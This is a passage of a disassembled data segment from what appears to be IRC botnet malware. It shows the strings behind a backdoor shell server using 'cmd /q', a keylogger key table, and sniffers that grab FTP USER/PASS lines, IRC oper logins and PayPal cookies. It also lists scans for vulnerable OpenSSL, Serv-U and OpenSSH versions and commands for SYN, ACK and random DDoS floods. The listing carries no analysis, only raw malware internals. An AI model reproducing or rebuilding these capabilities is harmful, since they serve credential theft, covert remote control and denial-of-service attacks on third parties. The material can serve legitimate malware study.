		dd 2460220h, 6920726Fh,	63026E02h, 26D026Fh, 20676E69h
		dd 6F024302h, 2656E6Eh,	69740263h, 26E026Fh, 2E73h, 35310302h
		dd 25B302Ch, 91313003h,	2343003h, 1F6C0252h, 67021F6Fh
		dd 26E0269h, 30030264h,	31032C31h, 32033A35h, 2430220h
		dd 6E65696Ch, 43022074h, 6E6E6F02h, 69746365h, 2206E6Fh
		dd 6F720246h, 5049206Dh, 2034033Ah, 253A7325h, 3202C64h
		dd 72655332h, 20726576h, 68025402h, 64616572h, 2034033Ah
		dd 2E6425h, 35310302h, 25B302Ch, 91313003h, 2343003h, 1F6C0252h
		dd 67021F6Fh, 26E0269h,	30030264h, 31032C31h, 32033A35h
		dd 2460220h, 656C6961h,	2542064h, 220026Fh, 61740253h
		dd 2207472h, 696C0243h,	20746E65h, 68025402h, 64616572h
		dd 4502202Ch, 72027202h, 3A726F02h, 3C203403h, 2E3E6425h
		dd 0
		dd 35310302h, 25B302Ch,	91313003h, 2343003h, 1F6C0252h
		dd 67021F6Fh, 26E0269h,	30030264h, 31032C31h, 32033A35h
		dd 2450220h, 6F027272h,	203A7202h, 65025302h, 72657672h
		dd 2460220h, 656C6961h,	2202C64h, 74650252h, 656E7275h
		dd 34033A64h, 64253C20h, 2E3Eh
unk_44A9F4	db    2			; DATA XREF: seg000:00412068o
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	32h, 91h
		db    3
		db 30h,	34h, 2
		db  52h	; R
		db 2, 6Ch, 1Fh
		db  6Fh	; o
		db 1Fh,	67h, 2
		db  69h	; i
		db 2, 6Eh, 64h
		db    3
		db 30h,	32h, 2Ch
		db    3
		db 31h,	35h, 3Ah
		db    3
a2FailedToCreat	db '2 Failed to create ReadShell session thread, error: <%d>.',0
		align 4
unk_44AA54	db    2			; DATA XREF: seg000:0041209Ao
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	32h, 91h
		db    3
		db 30h,	34h, 2
		db  52h	; R
		db 2, 6Ch, 1Fh
		db  6Fh	; o
		db 1Fh,	67h, 2
		db  69h	; i
		db 2, 6Eh, 64h
		db    3
		db 30h,	32h, 2Ch
		db    3
		db 31h,	35h, 3Ah
		db    3
a2FailedToCre_0	db '2 Failed to create ReadShell session thread, error: <%d>.',0
		align 4
unk_44AAB4	db    2			; DATA XREF: seg000:004120EDo
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	32h, 91h
		db    3
		db 30h,	34h, 2
		db  52h	; R
		db 2, 6Ch, 1Fh
		db  6Fh	; o
		db 1Fh,	67h, 2
		db  69h	; i
		db 2, 6Eh, 64h
		db    3
		db 30h,	32h, 2Ch
		db    3
		db 31h,	35h, 3Ah
		db    3
a2Waitformultip	db '2 WaitForMultipleObjects error: <%d>.',0
		align 10h
unk_44AB00	db    2			; DATA XREF: sub_412160+5Co
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	32h, 91h
		db    3
		db 30h,	34h, 2
		db  52h	; R
		db 2, 6Ch, 1Fh
		db  6Fh	; o
		db 1Fh,	67h, 2
		db  69h	; i
		db 2, 6Eh, 64h
		db    3
		db 30h,	32h, 2Ch
		db    3
		db 31h,	35h, 3Ah
		db    3
a2FailedToCre_1	db '2 Failed to create shell stdout pipe, error: <%d>.',0
unk_44AB58	db    2			; DATA XREF: sub_412160+7Eo
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	32h, 91h
		db    3
		db 30h,	34h, 2
		db  52h	; R
		db 2, 6Ch, 1Fh
		db  6Fh	; o
		db 1Fh,	67h, 2
		db  69h	; i
		db 2, 6Eh, 64h
		db    3
		db 30h,	32h, 2Ch
		db    3
		db 31h,	35h, 3Ah
		db    3
a2FailedToCre_2	db '2 Failed to create shell stdin pipe, error: <%d>.',0
		align 10h
unk_44ABB0	db    2			; DATA XREF: sub_412160+AFo
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	32h, 91h
		db    3
		db 30h,	34h, 2
		db  52h	; R
		db 2, 6Ch, 1Fh
		db  6Fh	; o
		db 1Fh,	67h, 2
		db  69h	; i
		db 2, 6Eh, 64h
		db    3
		db 30h,	32h, 2Ch
		db    3
		db 31h,	35h, 3Ah
		db    3
a2FailedToExecu	db '2 Failed to execute shell.',0
aCmdQ		db 'cmd /q',0           ; DATA XREF: sub_412259+8Co
		align 4
unk_44ABF8	db    2			; DATA XREF: sub_412259+C3o
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	32h, 91h
		db    3
		db 30h,	34h, 2
		db  52h	; R
		db 2, 6Ch, 1Fh
		db  6Fh	; o
		db 1Fh,	67h, 2
		db  69h	; i
		db 2, 6Eh, 64h
		db    3
		db 30h,	32h, 2Ch
		db    3
		db 31h,	35h, 3Ah
		db    3
a2FailedToExe_0	db '2 Failed to execute shell, error: <%d>.',0
		align 4
unk_44AC48	db    2			; DATA XREF: sub_412332+A1o
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	32h, 91h
		db    3
		db 30h,	34h, 2
		db  52h	; R
		db 2, 6Ch, 1Fh
		db  6Fh	; o
		db 1Fh,	67h, 2
		db  69h	; i
		db 2, 6Eh, 64h
		db    3
		db 30h,	32h, 2Ch
		db    3
		db 31h,	35h, 3Ah
		db    3
a2Sessionreadsh	db '2 SessionReadShellThread exited, error: <%ld>.',0
unk_44AC9C	db    2			; DATA XREF: seg000:004125AFo
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	32h, 91h
		db    3
		db 30h,	34h, 2
		db  53h	; S
		db 2, 1Fh, 6Fh
		db  1Fh
		db 2, 63h, 2
		db  6Bh	; k
		db 2, 73h, 2
		db    3
		db 30h,	32h, 2Ch
		db    3
		db 31h,	35h, 3Ah
		db    3
a2ServerStart_0	db '2 Server started on: %s:%d.',0
		align 10h
unk_44ACE0	db    2			; DATA XREF: seg000:0041261Bo
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	32h, 91h
		db    3
		db 30h,	34h, 2
		db  53h	; S
		db 2, 1Fh, 6Fh
		db  1Fh
		db 2, 63h, 2
		db  6Bh	; k
		db 2, 73h, 2
		db    3
		db 30h,	32h, 2Ch
		db    3
		db 31h,	35h, 3Ah
		db    3
a2ClientConne_0	db '2 Client connection from IP: %s:%d, Server thread: %d.',0
unk_44AD3C	db    2			; DATA XREF: seg000:00412696o
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	32h, 91h
		db    3
		db 30h,	34h, 2
		db  53h	; S
		db 2, 1Fh, 6Fh
		db  1Fh
		db 2, 63h, 2
		db  6Bh	; k
		db 2, 73h, 2
		db    3
		db 30h,	32h, 2Ch
		db    3
		db 31h,	35h, 3Ah
		db    3
a2FailedToSta_0	db '2 Failed to start client thread, error: <%d>.',0
		align 10h
unk_44AD90	db    2			; DATA XREF: seg000:004126B9o
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	32h, 91h
		db    3
		db 30h,	34h, 2
		db  53h	; S
		db 2, 1Fh, 6Fh
		db  1Fh
		db 2, 63h, 2
		db  6Bh	; k
		db 2, 73h, 2
		db    3
		db 30h,	32h, 2Ch
		db    3
		db 31h,	35h, 3Ah
		db    3
a2FailedToSta_1	db '2 Failed to start server on Port %d.',0
		align 4
		db    2
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	32h, 91h
		db    3
		db 30h,	34h, 2
		db  53h	; S
		db 2, 1Fh, 6Fh
		db  1Fh
		db 2, 63h, 2
		db  6Bh	; k
		db 2, 73h, 2
		db    3
		db 30h,	32h, 2Ch
		db    3
		db 31h,	35h, 3Ah
		db    3
a2Authenticatio	db '2 Authentication failed. Remote userid: %s != %s.',0
		align 4
		db    2
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	32h, 91h
		db    3
		db 30h,	34h, 2
		db  53h	; S
		db 2, 1Fh, 6Fh
		db  1Fh
		db 2, 63h, 2
		db  6Bh	; k
		db 2, 73h, 2
		db    3
		db 30h,	32h, 2Ch
		db    3
		db 31h,	35h, 3Ah
		db    3
a2ErrorFailedTo	db '2 Error: Failed to open socket(), returned: <%d>.',0
		align 4
		db    2
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	32h, 91h
		db    3
		db 30h,	34h, 2
		db  53h	; S
		db 2, 1Fh, 6Fh
		db  1Fh
		db 2, 63h, 2
		db  6Bh	; k
		db 2, 73h, 2
		db    3
		db 30h,	32h, 2Ch
		db    3
		db 31h,	35h, 3Ah
		db    3
a2ErrorFailed_0	db '2 Error: Failed to connect to target, returned: <%d>.',0
		align 4
aOctet		db 'octet',0
		align 10h
dword_44AEF0	dd 35310302h, 25B302Ch,	91343003h, 1F323003h, 1F024602h
					; DATA XREF: seg000:00412B32o
		dd 2700254h, 2C343003h,	3A353103h, 2203403h, 2720245h
		dd 726F0272h, 5302203Ah, 6B636F02h, 29287465h, 2460220h
		dd 6C026961h, 2C646502h, 2520220h, 2757465h, 656E0272h
		dd 32033A64h, 64253C20h, 2E3Eh
dword_44AF4C	dd 6272h	dword_44AF50	dd 35310302h, 25B302Ch,	91343003h, 1F323003h, 1F024602h
					; DATA XREF: seg000:00412C47o
		dd 2700254h, 2C343003h,	3A353103h, 2203403h, 69610246h
		dd 265026Ch, 2542064h, 220026Fh, 270024Fh, 206E0265h, 69024602h
		dd 65026C02h, 2032033Ah, 2E7325h
dword_44AF9C	dd 35310302h, 25B302Ch,	91313003h, 1F343003h, 1F024602h
					; DATA XREF: seg000:00412DD0o
		dd 2700254h, 2C313003h,	3A353103h, 2203203h, 6E650253h
		dd 69026402h, 67026E02h, 2440220h, 2740261h, 20340361h
		dd 61025002h, 6B026302h, 74026502h, 20320373h, 26F0254h
		dd 25203403h, 73h
dword_44AFF4	dd 35310302h, 25B302Ch,	91313003h, 1F343003h, 1F024602h
					; DATA XREF: seg000:00412EC7o
		dd 2700254h, 2C313003h,	3A353103h, 4F320320h, 3430031Fh
		dd 1F1F1F2Eh, 77323003h, 3430031Fh, 3430032Eh, 24E021Fh
		dd 3430031Fh, 3230032Eh, 1F1F651Fh, 1F343003h, 30031F2Eh
		dd 34034432h, 732520h
dword_44B04C	dd 4000500h, 7868746Bh,	0		dd 8
dword_44B05C	dd 62h,	62000000h, 2 dup(0)		dd 0Dh,	65h, 65000000h,	2 dup(0)
		dd 1Bh,	4353455Bh, 5B00005Dh, 5D435345h, 0
		dd 70h,	5D31465Bh, 5B000000h, 5D3146h, 0
		dd 71h,	5D32465Bh, 5B000000h, 5D3246h, 0
		dd 72h,	5D33465Bh, 5B000000h, 5D3346h, 0
		dd 73h,	5D34465Bh, 5B000000h, 5D3446h, 0
		dd 74h,	5D35465Bh, 5B000000h, 5D3546h, 0
		dd 75h,	5D36465Bh, 5B000000h, 5D3646h, 0
		dd 76h,	5D37465Bh, 5B000000h, 5D3746h, 0
		dd 77h,	5D38465Bh, 5B000000h, 5D3846h, 0
		dd 78h,	5D39465Bh, 5B000000h, 5D3946h, 0
		dd 79h,	3031465Bh, 5B00005Dh, 5D303146h, 0
		dd 7Ah,	3131465Bh, 5B00005Dh, 5D313146h, 0
		dd 7Bh,	3231465Bh, 5B00005Dh, 5D323146h, 0
		dd 0C0h, 60h, 7E000000h, 2 dup(0)
		dd 2 dup(31h), 21000000h, 2 dup(0)
		dd 2 dup(32h), 40000000h, 2 dup(0)
		dd 2 dup(33h), 23000000h, 2 dup(0)
		dd 2 dup(34h), 24000000h, 2 dup(0)
		dd 2 dup(35h), 25000000h, 2 dup(0)
		dd 2 dup(36h), 5E000000h, 2 dup(0)
		dd 2 dup(37h), 26000000h, 2 dup(0)
		dd 2 dup(38h), 2A000000h, 2 dup(0)
		dd 2 dup(39h), 28000000h, 2 dup(0)
		dd 2 dup(30h), 29000000h, 2 dup(0)
		dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
		dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
		dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
		dd 51h,	71h, 51000000h,	2 dup(0)
		dd 57h,	77h, 57000000h,	2 dup(0)
		dd 45h,	65h, 45000000h,	2 dup(0)
		dd 52h,	72h, 52000000h,	2 dup(0)
		dd 54h,	74h, 54000000h,	2 dup(0)
		dd 59h,	79h, 59000000h,	2 dup(0)
		dd 55h,	75h, 55000000h,	2 dup(0)
		dd 49h,	69h, 49000000h,	2 dup(0)
		dd 4Fh,	6Fh, 4F000000h,	2 dup(0)
		dd 50h,	70h, 50000000h,	2 dup(0)
		dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
		dd 0DDh, 0
		dd 7D000000h, 2	dup(0)
		dd 41h,	61h, 61000000h,	2 dup(0)
		dd 53h,	73h, 53000000h,	2 dup(0)
		dd 44h,	64h, 44000000h,	2 dup(0)
		dd 46h,	66h, 46000000h,	2 dup(0)
		dd 47h,	67h, 47000000h,	2 dup(0)
		dd 48h,	68h, 48000000h,	2 dup(0)
		dd 4Ah,	6Ah, 4A000000h,	2 dup(0)
		dd 4Bh,	6Bh, 4B000000h,	2 dup(0)
		dd 4Ch,	6Ch, 4C000000h,	2 dup(0)
		dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
		dd 0DEh, 27h, 22000000h, 2 dup(0)
		dd 5Ah,	7Ah, 5A000000h,	2 dup(0)
		dd 58h,	78h, 58000000h,	2 dup(0)
		dd 43h,	63h, 43000000h,	2 dup(0)
		dd 56h,	76h, 56000000h,	2 dup(0)
		dd 42h,	62h, 42000000h,	2 dup(0)
		dd 4Eh,	6Eh, 4E000000h,	2 dup(0)
		dd 4Dh,	6Dh, 4D000000h,	2 dup(0)
		dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
		dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
		dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
		dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
		dd 11h,	5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
		dd 5B00005Dh, 5D4E4957h, 0
		dd 2 dup(20h), 20000000h, 2 dup(0)
		dd 5Ch,	4E49575Bh, 5B00005Dh, 5D4E4957h, 0
		dd 2Ch,	5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
		dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
		dd 5D534E49h, 0
		dd 24h,	4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
		dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
		dd 5D4C4544h, 0
		dd 23h,	444E455Bh, 5B00005Dh, 5D444E45h, 0
		dd 22h,	4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
		dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
		dd 5D5055h, 0
		dd 27h,	4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
		dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
		dd 4B4C4D4Eh, 5Dh, 6Fh,	2Fh, 2F000000h,	2 dup(0)
		dd 6Ah,	2Ah, 2A000000h,	2 dup(0)
		dd 6Dh,	2Dh, 2D000000h,	2 dup(0)
		dd 6Bh,	2Bh, 2B000000h,	2 dup(0)
		dd 60h,	30h, 30000000h,	2 dup(0)
		dd 61h,	31h, 31000000h,	2 dup(0)
		dd 62h,	32h, 32000000h,	2 dup(0)
		dd 63h,	33h, 33000000h,	2 dup(0)
		dd 64h,	34h, 34000000h,	2 dup(0)
		dd 65h,	35h, 35000000h,	2 dup(0)
		dd 66h,	36h, 36000000h,	2 dup(0)
		dd 67h,	37h, 37000000h,	2 dup(0)
		dd 68h
dword_44B78C	dd 38h,	38000000h, 2 dup(0)		dd 69h,	39h, 39000000h,	2 dup(0)
		dd 6Eh,	2Eh, 2E000000h,	2 dup(0)
dword_44B7C4	dd 5Ch		dword_44B7C8	dd 6261h	aDDDDDDS	db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: sub_412F80+88o
		align 4
dword_44B7E8	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 651F024Bh
					; DATA XREF: sub_412F80+AEo
		dd 26C791Fh, 21F6F1Fh, 30030267h, 31032C31h, 32033A35h
		dd 732520h
aSChangedWindow	db '%s (Changed Windows: %s)',0 ; DATA XREF: sub_413061+8Fo
		align 10h
aSBufferFullS	db '%s (Buffer full) (%s)',0 ; DATA XREF: sub_413061+1E5o
		align 4
aSReturnS	db '%s (Return) (%s)',0 ; DATA XREF: sub_413061+228o
		align 4
aBotSniff	db 'Bot sniff',0        ; DATA XREF: sub_413351+5o
		align 4
aPsniff		db '[PSNIFF]:',0        ; DATA XREF: sub_413351+2Bo
		align 4
aPsniff_0	db 'PSNIFF//',0         ; DATA XREF: sub_413351+3Co
		align 10h
aJoin_0		db 'JOIN #',0           ; DATA XREF: sub_413351+4Do
		align 4
a302		db '302 ',0             ; DATA XREF: sub_413351:loc_4133B3o
		align 10h
a366		db '366 ',0             ; DATA XREF: sub_413351+73o
		align 4
a_login		db ':.login',0          ; DATA XREF: sub_413351+84o
aLogin		db ':!login',0          ; DATA XREF: sub_413351+95o
aLogin_0	db ':!Login',0          ; DATA XREF: sub_413351+A6o
a_login_0	db ':.Login',0          ; DATA XREF: sub_413351+B7o
a_ident		db ':.ident',0          ; DATA XREF: sub_413351+C8o
aIdent_0	db ':!ident',0          ; DATA XREF: sub_413351+D9o
a_hashin	db ':.hashin',0         ; DATA XREF: sub_413351+EEo
		align 4
aHashin		db ':!hashin',0         ; DATA XREF: sub_413351+103o
		align 10h
aIrcSniff	db 'IRC sniff',0        ; DATA XREF: sub_413468+5o
		align 4
aOper		db 'OPER ',0            ; DATA XREF: sub_413468+2Bo
		align 4
aNick_1		db 'NICK ',0            ; DATA XREF: sub_413468:loc_4134A8o
		align 4
aOper_0		db 'oper ',0            ; DATA XREF: sub_413468+51o
		align 4
aYouAreNowAnIrc	db 'You are now an IRC Operator',0 ; DATA XREF: sub_413468+62o
aFtpSniff	db 'FTP sniff',0        ; DATA XREF: sub_4134DE+5o
		align 4
aNick_2		db 'NICK ',0            ; DATA XREF: sub_4134DE+2Bo
		align 4
a220		db '220 ',0             ; DATA XREF: sub_4134DE+3Co
		align 4
a230		db '230 ',0             ; DATA XREF: sub_4134DE:loc_41352Fo
		align 4
aUser_2		db 'USER ',0            ; DATA XREF: sub_4134DE+62o
		align 4
aPass_0		db 'PASS ',0            ; DATA XREF: sub_4134DE+73o
		align 4
aHttpSniff	db 'HTTP sniff',0       ; DATA XREF: sub_413565+5o
		align 10h
aPaypal		db 'paypal',0           ; DATA XREF: sub_413565+2Bo
		align 4
aPaypal_0	db 'PAYPAL',0           ; DATA XREF: sub_413565:loc_4135A5o
		align 10h
aPaypal_com	db 'PAYPAL.COM',0       ; DATA XREF: sub_413565+51o
		align 4
aPaypal_com_0	db 'paypal.com',0       ; DATA XREF: sub_413565+62o
		align 4
aSetCookie	db 'Set-Cookie:',0      ; DATA XREF: sub_413565+73o
aVulnSniff	db 'VULN sniff',0       ; DATA XREF: sub_4135EC+5o
		align 10h
aOpenssl0_9_6	db 'OpenSSL/0.9.6',0    ; DATA XREF: sub_4135EC+2Bo
		align 10h
aServUFtpServer	db 'Serv-U FTP Server',0 ; DATA XREF: sub_4135EC:loc_41362Co
		align 4
aOpenssh_2	db 'OpenSSH_2',0        ; DATA XREF: sub_4135EC+51o
		align 10h
dword_44B9D0	dd 35310302h, 25B302Ch,	91323003h, 2343003h, 26E0253h
					; DATA XREF: seg000:00413716o
		dd 2660269h, 2650266h, 30030272h, 31032C32h, 32035D35h
		dd 6E694220h, 20292864h, 6C696146h, 202C6465h, 75746552h
		dd 64656E72h, 25203403h, 64h
dword_44BA18	dd 35310302h, 25B302Ch,	91323003h, 2343003h, 26E0253h
					; DATA XREF: seg000:0041379Co
		dd 2660269h, 2650266h, 30030272h, 31032C32h, 32035D35h
		dd 41535720h, 74636F49h, 2029286Ch, 6C696146h, 202C6465h
		dd 75746552h, 64656E72h, 25203403h, 64h
dword_44BA64	dd 7325h	dword_44BA68	dd 7325h	unk_44BA6C	db    2			; DATA XREF: seg000:00413933o
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	32h, 91h
		db    3
		db 30h,	34h, 2
		db  53h	; S
		db 2, 6Eh, 2
		db  69h	; i
		db 2, 66h, 2
		db  66h	; f
		db 2, 65h, 2
		db  72h	; r
		db 2, 3, 30h
		db  32h	; 2
		db 2Ch,	3, 31h
		db  35h	; 5
		db 5Dh,	3, 32h
aBotSniffSDToSD	db ' Bot Sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_44BABC	db    2			; DATA XREF: seg000:0041396Co
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	32h, 91h
		db    3
		db 30h,	34h, 2
		db  53h	; S
		db 2, 6Eh, 2
		db  69h	; i
		db 2, 66h, 2
		db  66h	; f
		db 2, 65h, 2
		db  72h	; r
		db 2, 3, 30h
		db  32h	; 2
		db 2Ch,	3, 31h
		db  35h	; 5
		db 5Dh,	3, 32h
aIrcSniffSDToSD	db ' IRC Sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_44BB0C	db    2			; DATA XREF: seg000:004139A2o
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	32h, 91h
		db    3
		db 30h,	34h, 2
		db  53h	; S
		db 2, 6Eh, 2
		db  69h	; i
		db 2, 66h, 2
		db  66h	; f
		db 2, 65h, 2
		db  72h	; r
		db 2, 3, 30h
		db  32h	; 2
		db 2Ch,	3, 31h
		db  35h	; 5
		db 5Dh,	3, 32h
aFtpSniffSDToSD	db ' FTP Sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_44BB5C	db    2			; DATA XREF: seg000:004139D3o
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	32h, 91h
		db    3
		db 30h,	34h, 2
		db  53h	; S
		db 2, 6Eh, 2
		db  69h	; i
		db 2, 66h, 2
		db  66h	; f
		db 2, 65h, 2
		db  72h	; r
		db 2, 3, 30h
		db  32h	; 2
		db 2Ch,	3, 31h
		db  35h	; 5
		db 5Dh,	3, 32h
aHttpSniffSDToS	db ' HTTP Sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_44BBAC	db    2			; DATA XREF: seg000:00413A3Do
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	32h, 91h
		db    3
		db 30h,	34h, 2
		db  53h	; S
		db 2, 6Eh, 2
		db  69h	; i
		db 2, 66h, 2
		db  66h	; f
		db 2, 65h, 2
		db  72h	; r
		db 2, 3, 30h
		db  32h	; 2
		db 2Ch,	3, 31h
		db  35h	; 5
		db 5Dh,	3, 32h
aVulnSniffSDToS	db ' VULN Sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
		db    2
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	32h, 91h
		db    3
		db 30h,	34h, 2
		db  44h	; D
		db 2, 1Fh, 44h
		db  1Fh
		db 2, 6Fh, 2
		db  73h	; s
		db 3, 30h, 32h
		db  2Ch	; ,
		db 3, 31h, 35h
		db  3Ah	; :
		db 3, 32h, 20h
aDoneWithFloodA	db 'done with flood at %iKB/sec',0
aDdos_syn_0	db 'ddos.syn',0         ; DATA XREF: seg000:00413BE7o
		align 4
aDdos_ack	db 'ddos.ack',0         ; DATA XREF: seg000:loc_413C06o
		align 4
aDdos_random	db 'ddos.random',0      ; DATA XREF: seg000:loc_413C22o
		dd 35310302h, 25B302Ch,	91323003h, 2343003h, 441F0244h
		dd 26F021Fh, 32300373h,	3531032Ch, 2032033Ah, 646E6573h
		dd 72726520h, 203A726Fh, 6425h,	35310302h, 25B302Ch, 91323003h
		dd 69343003h, 2024302h,	370024Dh, 32C3230h, 33A3531h, 6F732032h
		dd 74656B63h, 66202928h, 656C6961h, 72202C64h, 72757465h
		dd 2064656Eh, 6425h, 35310302h,	25B302Ch, 91323003h, 69343003h
		dd 2024302h, 370024Dh, 32C3230h, 33A3531h, 65732032h, 636F7374h
		dd 74706F6Bh, 66202928h, 656C6961h, 72202C64h, 72757465h
		dd 2064656Eh, 6425h, 35310302h,	25B302Ch, 91323003h, 69343003h
		dd 2024302h, 370024Dh, 32C3230h, 33A3531h, 6E692032h, 696C6176h
		dd 61742064h, 74656772h, 706920h, 35310302h, 25B302Ch
		dd 91323003h, 69343003h, 2024302h, 370024Dh, 32C3230h
		dd 33A3531h, 72652032h,	20726F72h, 646E6573h, 20676E69h
		dd 6B636170h, 20737465h, 25206F74h, 25202E73h, 61702064h
		dd 74656B63h, 65732073h, 202C746Eh, 75746572h, 64656E72h
		dd 642520h, 35310302h, 25B302Ch, 91323003h, 69343003h
		dd 2024302h, 370024Dh, 32C3230h, 33A3531h, 6F642032h, 7720656Eh
		dd 20687469h, 66207325h, 646F6F6Ch, 206F7420h, 202E7325h
		dd 746E6573h, 20642520h, 6B636170h, 20737465h, 64252040h
		dd 732F424Bh, 28206365h, 424D6425h, 2E29h, 35310302h, 25B302Ch
		dd 91323003h, 2343003h,	691F0250h, 24E021Fh, 32300347h
		dd 3531032Ch, 2032033Ah, 6F727265h, 65732072h, 6E69646Eh
		dd 69702067h, 2073676Eh, 25206F74h, 73h, 35310302h, 25B302Ch
		dd 91323003h, 2343003h,	691F0250h, 24E021Fh, 32300347h
		dd 3531032Ch, 2032033Ah, 696E6966h, 64656873h, 6E657320h
		dd 676E6964h, 6E697020h, 74207367h, 7325206Fh, 0
		db    2
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	32h, 91h
		db    3
		db 30h,	34h, 2
		db  55h	; U
		db 2, 1Fh, 64h
		db  1Fh
		db 2, 50h, 2
		db    3
		db 30h,	32h, 2Ch
		db    3
		db 31h,	35h, 3Ah
		db    3
a2ErrorSendingP	db '2 error sending packets to %s',0
		align 4
		db    2
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	32h, 91h
		db    3
		db 30h,	34h, 2
		db  55h	; U
		db 2, 1Fh, 64h
		db  1Fh
		db 2, 50h, 2
		db    3
		db 30h,	32h, 2Ch
		db    3
		db 31h,	35h, 3Ah
		db    3
a2FinishedSendi	db '2 finished sending packets to %s',0
		align 10h
unk_44BF10	db    2			; DATA XREF: seg000:0041465Co
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	32h, 91h
		db    3
		db 30h,	34h, 2
		db  53h	; S
		db 2, 1Fh, 6Bh
		db  1Fh
		db 79h,	2, 53h
		db    2
		db 79h,	1Fh, 6Eh
		db  1Fh
		db 3, 30h, 32h
		db  2Ch	; ,
		db 3, 31h, 35h
		db  3Ah	; :
		db 3, 32h, 20h
aDoneWithFloodI	db 'Done with flood (%iKB/sec)',0
		align 4
		db    2
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	32h, 91h
		db    3
		db 30h,	34h, 2
		db  53h	; S
		db 2, 79h, 2
		db  6Eh	; n
		db 2, 3, 30h
		db  32h	; 2
		db 2Ch,	3, 31h
		db  35h	; 5
		db 3Ah,	3, 32h
aDoneWithFloo_0	db ' Done with flood (%iKB/sec).',0
		align 4
unk_44BF94	db    2			; DATA XREF: sub_414853+27Do
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	32h, 91h
		db    3
		db 30h,	34h, 2
		db  53h	; S
		db 2, 79h, 2
		db  6Eh	; n
		db 2, 3, 30h
		db  32h	; 2
		db 2Ch,	3, 31h
		db  35h	; 5
		db 3Ah,	3, 32h
aSendErrorD_	db ' Send error: <%d>.',0
		align 4
unk_44BFC8	db    2			; DATA XREF: seg000:00414BACo
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	32h, 91h
		db    3
		db 30h,	34h, 2
		db  54h	; T
		db 2, 61h, 2
		db  72h	; r
		db 2, 67h, 61h
		db    3
		db 30h,	32h, 2Ch
		db    3
		db 31h,	35h, 3Ah
		db    3
a2DoneWithFlood	db '2 Done with flood.',0
		db    2
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	32h, 91h
		db    3
		db 30h,	34h, 2
		db  54h	; T
		db 2, 1Fh, 63h
		db  1Fh
		db 2, 50h, 2
		db    3
		db 30h,	32h, 2Ch
		db    3
		db 31h,	35h, 3Ah
		db    3
a2ErrorSocket_0	db '2 Error: socket() failed, returned: <%d>.',0
		align 4
		db    2
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	32h, 91h
		db    3
